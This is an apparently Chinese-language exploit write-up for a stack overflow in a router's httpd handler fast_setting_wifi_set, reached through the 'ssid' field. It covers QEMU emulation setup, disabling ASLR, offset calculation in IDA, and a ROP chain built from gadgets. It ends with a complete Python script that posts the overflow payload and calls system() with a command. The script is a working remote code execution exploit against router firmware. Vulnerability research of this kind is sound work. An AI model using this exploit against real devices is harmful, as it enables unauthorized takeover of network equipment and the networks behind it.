保护确认 1 2 3 4 5 Arch: arm-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8000)
漏洞点确认 function_name:form_fast_setting_wifi_set
1 2 3 4 5 6 7 src = (char *)sub_2BA8C(a1, "ssid" , &unk_E378C); if ( *src ){ strcpy (s, src); strcpy (dest, src); ………… }
访问方法
1 url:http://ip/goform/fast_setting_wifi_set
并根据一下发送确定数据包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 //$("#waiting").removeClass("none"); //$("#wifi_setting").addClass("none"); //$("#btn_control").addClass("none"); var dateArry = /([\+\-]\d{2})(\d{2})/.exec((new Date()).toString()); var subObj = { "ssid": $("#ssid").val(), "wrlPassword": ($("#hideWrlPwd").prop("checked")) ? "" : wrlPwd, "power": $("#power").val(), "timeZone": getTimeZone(), "loginPwd": ($("#hideLoginPwd").prop("checked")) ? "" : hex_md5(login_pwd) } data = objTostring(subObj); $.getJSON("goform/getWanConnectStatus?" + Math.random(), function (obj) { G.wanStatus = obj.connectStatus; $.post("goform/fast_setting_wifi_set", data, handWifi); })
其中payload数据为:
1 data = {"ssid": payload}
调试 搭网桥br0、tap0 1 2 3 4 5 6 7 8 # 创建网桥 sudo ip link add name br0 type bridge # 将 eth9(自己选择设备) 加入网桥 sudo ip link set eth9 master br0 # 为网桥分配私有 IP 段(例如当前为 192.168.123.1/24) sudo ip addr add 192.168.123.1/24 dev br0 # 启动网桥 sudo ip link set br0 up
1 2 3 4 5 6 # 创建 TAP 设备(例如 tap0) sudo ip tuntap add name tap0 mode tap # 启动 TAP 设备 sudo ip link set tap0 up # 将 TAP 设备添加到网桥 br0(假设 br0 已存在且配置正确) sudo ip link set tap0 master br0
下载镜像 1 2 3 wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2 wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress
创建镜像并放入调试(方法略) 1 2 3 4 5 6 7 8 sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=ttyAMA0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic -audio none
关闭aslr 1 echo 0 > /proc/sys/kernel/randomize_va_space
页面出现报错处理 是由于文件路径不同导致的
1 cp -rf ./webroot_ro/* ./webroot/
ida计算offset长度
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 _BYTE *v2; // r0 int v4[4]; // [sp+18h] [bp-264h] BYREF char nptr[4]; // [sp+28h] [bp-254h] BYREF char v6[4]; // [sp+2Ch] [bp-250h] BYREF char v7[4]; // [sp+30h] [bp-24Ch] BYREF char v8[4]; // [sp+34h] [bp-248h] BYREF char v9[256]; // [sp+38h] [bp-244h] BYREF char v10[72]; // [sp+138h] [bp-144h] BYREF char v11[64]; // [sp+180h] [bp-FCh] BYREF char dest[64]; // [sp+1C0h] [bp-BCh] BYREF char s[64]; // [sp+200h] [bp-7Ch] BYREF char v14[12]; // [sp+240h] [bp-3Ch] BYREF int v15; // [sp+24Ch] [bp-30h] BYREF _BYTE *v16; // [sp+250h] [bp-2Ch] char *s2; // [sp+254h] [bp-28h] char *s1; // [sp+258h] [bp-24h] _BYTE *v19; // [sp+25Ch] [bp-20h] char *src; // [sp+260h] [bp-1Ch] int v21; // [sp+264h] [bp-18h] int i; // [sp+268h] [bp-14h] int v23; // [sp+26Ch] [bp-10h]
offset应为0x7c,注意,为什么这里不是从dest开始算呢?究其原因是代码存在两次strcpy,并且第一次是执行的strcpy(s,src),并且s在dest下方,所以使用s即可,当然使用dest也不错,但要考虑到这样栈会额外破坏64字节的问题。
其次,offset并不能直接替换为‘a’,因为代码中是这样的
1 2 strcpy(s, src); strcpy(dest, src);
由于src位于s下方,第一次s溢出后,会导致src的地址修为‘0x61616161’,而第二次访问dest时会阻止访问非法地址,所以要将其修改为任意可以读取的地址。
确定system地址
想办法控制到R0,寻找符合条件的文件
1 ROPgadget --binary httpd --only r3|ret
构造payload
1 payload+= p32(pop_r3_pc) + p32(system) + p32(mov_r0_SP_ldr_r3) + cmd
执行pop_r3_pc时,将r3寄存器设置为r3,此时栈指针直接指向mov_r0_SP_ldr_r3
执行mov_r0_SP_ldr_r3,将sp(现在为cmd)放入r0,跳转到r3,也就是system
payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import requestsfrom pwn import *cmd=b"echo success_pwn_it" ''' qemu-user ''' ''' qemu-system ''' libc_base = 0x76dab000 dosystemcmd = 0x76f930f0 system = libc_base + 0x5A270 readable_addr = libc_base + 0x64144 mov_r0_SP_ldr_r3 = libc_base + 0x40cb8 pop_r3_pc = libc_base + 0x18298 payload = b'a' *(0x60 ) + p32(readable_addr) + b'b' *(0x20 -8 ) payload+= p32(pop_r3_pc) + p32(system) + p32(mov_r0_SP_ldr_r3) + cmd url = "http://192.168.117.1/goform/fast_setting_wifi_set" cookie = {"Cookie" :"password=12345" } data = {"ssid" : payload} response = requests.post(url, cookies=cookie, data=data) response = requests.post(url, cookies=cookie, data=data) print (response.text)